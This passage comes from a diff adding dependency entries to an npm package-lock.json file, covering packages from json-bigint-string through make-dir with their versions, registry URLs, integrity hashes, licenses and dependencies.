"https://registry.npmjs.org/json-bigint-string/-/json-bigint-string-1.0.0.tgz", + "integrity": "sha512-lbVEXU+QTCSHNY+owX+n7EkquMQJsCvxOy6ry2f7Y858CoC6ck3NiEJKjRBd7Y3tSbw2jWTW66K0JvwRsC71zw==", + "license": "public" + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "license": "MIT" + }, + "node_modules/json-schema": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", + "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==", + "license": "(AFL-2.1 OR BSD-3-Clause)" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "license": "MIT" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "license": "MIT" + }, + "node_modules/json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==", + "dev": true, + "license": "ISC" + }, + "node_modules/json5": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz", + "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==", + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonpointer": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-5.0.0.tgz", + "integrity": "sha512-PNYZIdMjVIvVgDSYKTT63Y+KZ6IZvGRNNWcxwD+GNnUz1MKPfv30J8ueCjdwcN0nDx2SlshgyB7Oy0epAzVRRg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jsprim": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-2.0.2.tgz", + "integrity": "sha512-gqXddjPqQ6G40VdnI6T6yObEC+pDNvyP95wdQhkWkg7crHH3km5qP1FsOXEkzEQwnz6gz5qGTn1c2Y52wP3OyQ==", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "license": "MIT", + "dependencies": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.4.0", + "verror": "1.10.0" + } + }, + "node_modules/jss": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss/-/jss-10.9.0.tgz", + "integrity": "sha512-YpzpreB6kUunQBbrlArlsMpXYyndt9JATbt95tajx0t4MTJJcCJdd4hdNpHmOIDiUJrF/oX5wtVFrS3uofWfGw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.3.1", + "csstype": "^3.0.2", + "is-in-browser": "^1.1.3", + "tiny-warning": "^1.0.2" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/jss" + } + }, + "node_modules/jss-plugin-camel-case": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-camel-case/-/jss-plugin-camel-case-10.9.0.tgz", + "integrity": "sha512-UH6uPpnDk413/r/2Olmw4+y54yEF2lRIV8XIZyuYpgPYTITLlPOsq6XB9qeqv+75SQSg3KLocq5jUBXW8qWWww==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.3.1", + "hyphenate-style-name": "^1.0.3", + "jss": "10.9.0" + } + }, + "node_modules/jss-plugin-default-unit": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-default-unit/-/jss-plugin-default-unit-10.9.0.tgz", + "integrity": "sha512-7Ju4Q9wJ/MZPsxfu4T84mzdn7pLHWeqoGd/D8O3eDNNJ93Xc8PxnLmV8s8ZPNRYkLdxZqKtm1nPQ0BM4JRlq2w==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.9.0" + } + }, + "node_modules/jss-plugin-global": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-global/-/jss-plugin-global-10.9.0.tgz", + "integrity": "sha512-4G8PHNJ0x6nwAFsEzcuVDiBlyMsj2y3VjmFAx/uHk/R/gzJV+yRHICjT4MKGGu1cJq2hfowFWCyrr/Gg37FbgQ==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.9.0" + } + }, + "node_modules/jss-plugin-nested": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-nested/-/jss-plugin-nested-10.9.0.tgz", + "integrity": "sha512-2UJnDrfCZpMYcpPYR16oZB7VAC6b/1QLsRiAutOt7wJaaqwCBvNsosLEu/fUyKNQNGdvg2PPJFDO5AX7dwxtoA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.9.0", + "tiny-warning": "^1.0.2" + } + }, + "node_modules/jss-plugin-props-sort": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-props-sort/-/jss-plugin-props-sort-10.9.0.tgz", + "integrity": "sha512-7A76HI8bzwqrsMOJTWKx/uD5v+U8piLnp5bvru7g/3ZEQOu1+PjHvv7bFdNO3DwNPC9oM0a//KwIJsIcDCjDzw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.9.0" + } + }, + "node_modules/jss-plugin-rule-value-function": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-rule-value-function/-/jss-plugin-rule-value-function-10.9.0.tgz", + "integrity": "sha512-IHJv6YrEf8pRzkY207cPmdbBstBaE+z8pazhPShfz0tZSDtRdQua5jjg6NMz3IbTasVx9FdnmptxPqSWL5tyJg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.9.0", + "tiny-warning": "^1.0.2" + } + }, + "node_modules/jss-plugin-vendor-prefixer": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-vendor-prefixer/-/jss-plugin-vendor-prefixer-10.9.0.tgz", + "integrity": "sha512-MbvsaXP7iiVdYVSEoi+blrW+AYnTDvHTW6I6zqi7JcwXdc6I9Kbm234nEblayhF38EftoenbM+5218pidmC5gA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.3.1", + "css-vendor": "^2.0.8", + "jss": "10.9.0" + } + }, + "node_modules/jss/node_modules/csstype": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.0.tgz", + "integrity": "sha512-uX1KG+x9h5hIJsaKR9xHUeUraxf8IODOwq9JLNPq6BwB04a/xgpq3rcx47l5BZu5zBPlgD342tdke3Hom/nJRA==", + "license": "MIT" + }, + "node_modules/jsx-ast-utils": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.2.tgz", + "integrity": "sha512-4ZCADZHRkno244xlNnn4AOG6sRQ7iBZ5BbgZ4vW4y5IZw7cVUD1PPeblm1xx/nfmMxPdt/LHsXZW8z/j58+l9Q==", + "license": "MIT", + "dependencies": { + "array-includes": "^3.1.5", + "object.assign": "^4.1.2" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/keycharm": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.3.1.tgz", + "integrity": "sha512-zn47Ti4FJT9zdF+YBBLWJsfKF/fYQHkrYlBeB5Ez5e2PjW7SoIxr43yehAne2HruulIoid4NKZZxO0dHBygCtQ==", + "license": "(Apache-2.0 OR MIT)" + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/kld-affine": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/kld-affine/-/kld-affine-2.1.1.tgz", + "integrity": "sha512-NIS9sph8ZKdnQxZa5TcggaFs/Qr9zX3brFlGwE0+0Z4EzFIvAFuqLSwNeU4GkEpaX8ndh3ggGmWV7BPPcS3vjQ==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 10.15.3" + } + }, + "node_modules/kld-intersections": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/kld-intersections/-/kld-intersections-0.7.0.tgz", + "integrity": "sha512-/KuBU7Y5bRPGfc0yQ3QIoXPKqOQ6cBWDRl1XVMMa3pm4V6Ydbgy9e2fZoRxlSIU0gZSBt1c6gWLOzSGKbU8I3A==", + "license": "BSD-3-Clause", + "dependencies": { + "kld-affine": "^2.1.1", + "kld-path-parser": "^0.2.1", + "kld-polynomial": "^0.3.0" + }, + "engines": { + "node": ">= 10.15.3" + } + }, + "node_modules/kld-path-parser": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/kld-path-parser/-/kld-path-parser-0.2.1.tgz", + "integrity": "sha512-C1EqY6vzqv5tdKeMF31L+JXq97n5zo67LiSEhZf4sPq8YeM+8ytp/qMGSKN8VdSPvFa6h1SR35aF4+T2JtxZww==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 10.15.3" + } + }, + "node_modules/kld-polynomial": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/kld-polynomial/-/kld-polynomial-0.3.0.tgz", + "integrity": "sha512-PEfxjQ6tsxL9DHBIhM2UZsSes0GI+OIMjbE0kj60jr80Biq/xXl1eGfnyzmfoackAMdKZtw2060L09HdjkPP5w==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 10.15.3" + } + }, + "node_modules/kleur": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/klona": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.5.tgz", + "integrity": "sha512-pJiBpiXMbt7dkzXe8Ghj/u4FfXOOa98fPW+bihOJ4SjnoijweJrNThJfd3ifXpXhREjpoF2mZVH1GfS9LV3kHQ==", + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/kolorist": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/kolorist/-/kolorist-1.8.0.tgz", + "integrity": "sha512-Y+60/zizpJ3HRH8DCss+q95yr6145JXZo46OTpFvDZWLfRCE4qChOyk1b26nMaNpfHHgxagk9dXT5OP0Tfe+dQ==", + "license": "MIT" + }, + "node_modules/language-subtag-registry": { + "version": "0.3.22", + "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.22.tgz", + "integrity": "sha512-tN0MCzyWnoz/4nHS6uxdlFWoUZT7ABptwKPQ52Ea7URk6vll88bWBVhodtnlfEuCcKWNGoc+uGbw1cwa9IKh/w==", + "license": "CC0-1.0" + }, + "node_modules/language-tags": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.5.tgz", + "integrity": "sha512-qJhlO9cGXi6hBGKoxEG/sKZDAHD5Hnu9Hs4WbOY3pCWXDhw0N8x1NenNzm2EnNLkLkk7J2SdxAkDSbb6ftT+UQ==", + "license": "MIT", + "dependencies": { + "language-subtag-registry": "~0.3.2" + } + }, + "node_modules/lazy-ass": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/lazy-ass/-/lazy-ass-1.6.0.tgz", + "integrity": "sha512-cc8oEVoctTvsFZ/Oje/kGnHbpWHYBe8IAJe4C0QNc3t8uM/0Y8+erSz/7Y1ALuXTEZTMvxXwO6YbX1ey3ujiZw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "> 0.8" + } + }, + "node_modules/leven": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lilconfig": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.6.tgz", + "integrity": "sha512-9JROoBW7pobfsx+Sq2JsASvCo6Pfo6WWoUW79HuB1BCoBXD4PLWJPqDF6fNj67pqBYTbAHkE57M1kS/+L1neOg==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "license": "MIT" + }, + "node_modules/listr2": { + "version": "3.14.0", + "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.14.0.tgz", + "integrity": "sha512-TyWI8G99GX9GjE54cJ+RrNMcIFBfwMPxc3XTFiAYGN4s10hWROGtOg7+O6u6LE3mNkyld7RSLE6nrKBvTfcs3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "cli-truncate": "^2.1.0", + "colorette": "^2.0.16", + "log-update": "^4.0.0", + "p-map": "^4.0.0", + "rfdc": "^1.3.0", + "rxjs": "^7.5.1", + "through": "^2.3.8", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "enquirer": ">= 2.3.0 < 3" + }, + "peerDependenciesMeta": { + "enquirer": { + "optional": true + } + } + }, + "node_modules/loader-runner": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz", + "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==", + "license": "MIT", + "engines": { + "node": ">=6.11.5" + } + }, + "node_modules/loader-utils": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.2.tgz", + "integrity": "sha512-TM57VeHptv569d/GKh6TAYdzKblwDNiumOdkFnejjD0XwTH87K90w3O7AiJRqdQoXygvi1VQTJTLGhJl7WqA7A==", + "license": "MIT", + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/local-pkg": { + "version": "0.5.1", + "resolved": "https://registry.npmjs.org/local-pkg/-/local-pkg-0.5.1.tgz", + "integrity": "sha512-9rrA30MRRP3gBD3HTGnC6cDFpaE1kVDWxWgqWJUN0RvDNAo+Nz/9GxB+nHOH0ifbVFy0hSA1V6vFDvnx54lTEQ==", + "license": "MIT", + "dependencies": { + "mlly": "^1.7.3", + "pkg-types": "^1.2.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "license": "MIT" + }, + "node_modules/lodash-es": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", + "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==", + "license": "MIT" + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", + "license": "MIT" + }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", + "license": "MIT" + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "license": "MIT" + }, + "node_modules/lodash.once": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", + "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.orderby": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.orderby/-/lodash.orderby-4.6.0.tgz", + "integrity": "sha512-T0rZxKmghOOf5YPnn8EY5iLYeWCpZq8G41FfqoVHH5QDTAFaghJRmAdLiadEDq+ztgM2q5PjA+Z1fOwGrLgmtg==", + "license": "MIT" + }, + "node_modules/lodash.sortby": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz", + "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==", + "license": "MIT" + }, + "node_modules/lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==", + "license": "MIT" + }, + "node_modules/log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-symbols/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/log-symbols/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/log-symbols/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/log-symbols/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/log-symbols/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/log-symbols/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/log-update": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/log-update/-/log-update-4.0.0.tgz", + "integrity": "sha512-9fkkDevMefjg0mmzWFBW8YkFP91OrizzkW3diF7CpG+S2EYdy4+TVfGwz1zeF8x7hCx1ovSPTOE9Ngib74qqUg==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-escapes": "^4.3.0", + "cli-cursor": "^3.1.0", + "slice-ansi": "^4.0.0", + "wrap-ansi": "^6.2.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/log-update/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/log-update/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/log-update/node_modules/slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/log-update/node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "license": "MIT", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "license": "MIT", + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/lower-case/node_modules/tslib": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz", + "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==", + "license": "0BSD" + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/magic-string": { + "version": "0.25.9", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz", + "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", + "license": "MIT", + "dependencies": { + "sourcemap-codec": "^1.4.8" + } + }, + "node_modules/make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": 